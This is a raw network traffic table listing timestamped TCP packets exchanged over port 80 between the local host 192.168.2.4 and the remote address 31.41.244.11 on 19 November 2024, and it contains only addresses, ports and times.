Nov 19, 2024 22:07:08.932482004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932497025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932507038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932554007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932574987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932590008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932605982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932625055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932630062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932641983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932647943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932660103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932671070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932676077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932694912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932699919 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932713985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932722092 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932732105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932744026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932773113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932780027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932791948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932797909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932816029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932832956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932833910 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932863951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932872057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932893991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932909966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932915926 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932925940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932943106 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932975054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.932976007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.932993889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933008909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933028936 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933058023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933084011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933099985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933115959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933134079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933151007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933159113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933166981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933178902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933185101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933223963 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933245897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933263063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933312893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933320999 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933362007 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933377028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933387041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933424950 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933435917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933454037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933485031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933505058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933512926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933543921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933559895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933572054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933589935 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933604002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933630943 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933631897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933650017 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933669090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933684111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933685064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933705091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933732986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933743000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933798075 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933816910 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933835030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933851957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933866978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933867931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933885098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933890104 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933912039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933918953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933936119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933940887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933954954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.933967113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.933973074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934000969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934026957 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934046030 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934091091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934119940 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934127092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934140921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934145927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934191942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934196949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934216022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934232950 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934247017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934248924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934266090 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934266090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934284925 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934303999 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934324980 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934333086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934341908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934351921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934367895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934401035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934591055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934648991 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934706926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934724092 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934741020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934756041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934757948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934778929 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934787035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934804916 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934822083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934844971 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934865952 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.934871912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934889078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.934937954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935030937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935076952 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935082912 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935107946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935123920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935127020 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935170889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935174942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935174942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935242891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935297012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935323000 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935338974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935355902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935370922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935376883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935389042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935398102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935409069 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935439110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935471058 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935475111 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935488939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935503006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935535908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935539007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935568094 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935597897 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935616016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935626984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935643911 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935657978 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935674906 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935692072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935692072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935725927 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935728073 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935744047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935758114 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935767889 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935775995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935800076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935825109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935853004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935870886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935889006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935903072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935906887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935928106 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935935974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935945034 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.935956001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935973883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.935996056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936022997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936031103 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936038971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936058044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936075926 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936075926 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936090946 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936108112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936115026 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936125994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936137915 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936157942 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936175108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936176062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936191082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936213017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936224937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936243057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936249018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936259031 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936266899 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936278105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936289072 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936294079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936317921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936343908 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936350107 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936362028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936378956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936391115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936410904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936412096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936428070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936440945 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936444044 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936463118 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936477900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936495066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936497927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936511993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936527014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936532974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936543941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936553955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936589003 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936594009 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936611891 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936613083 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936641932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936661005 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936671972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936676979 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936706066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936727047 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936738014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936749935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936769962 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936788082 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936786890 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936804056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936829090 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936849117 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936850071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936882973 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936914921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936919928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936944962 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936948061 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936964035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.936968088 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.936991930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937024117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937041998 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937057972 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937074900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937081099 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937093019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937102079 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937109947 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937129021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937145948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937146902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937189102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937192917 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937213898 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937222958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937256098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937294960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937311888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937345982 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937365055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937371969 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937418938 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937428951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937438965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937455893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937474012 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937488079 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937505960 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937510014 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937531948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937539101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937553883 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937561035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937572002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937585115 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937606096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937623978 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937652111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937654018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937696934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937711954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937741995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937751055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937772989 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937788963 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937789917 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937805891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937828064 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937839985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937856913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937865973 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937885046 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937911987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937927008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937942028 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.937978983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.937985897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938031912 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938040018 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938049078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938066006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938081026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938088894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938110113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938114882 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938148022 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938164949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938174009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938182116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938194990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938199997 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938229084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938261032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938278913 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938294888 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938311100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938313961 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938328981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938328981 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938348055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938359022 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:08.938394070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:08.938404083 CET	49864	80	192.168.2.4	31.41.244.11
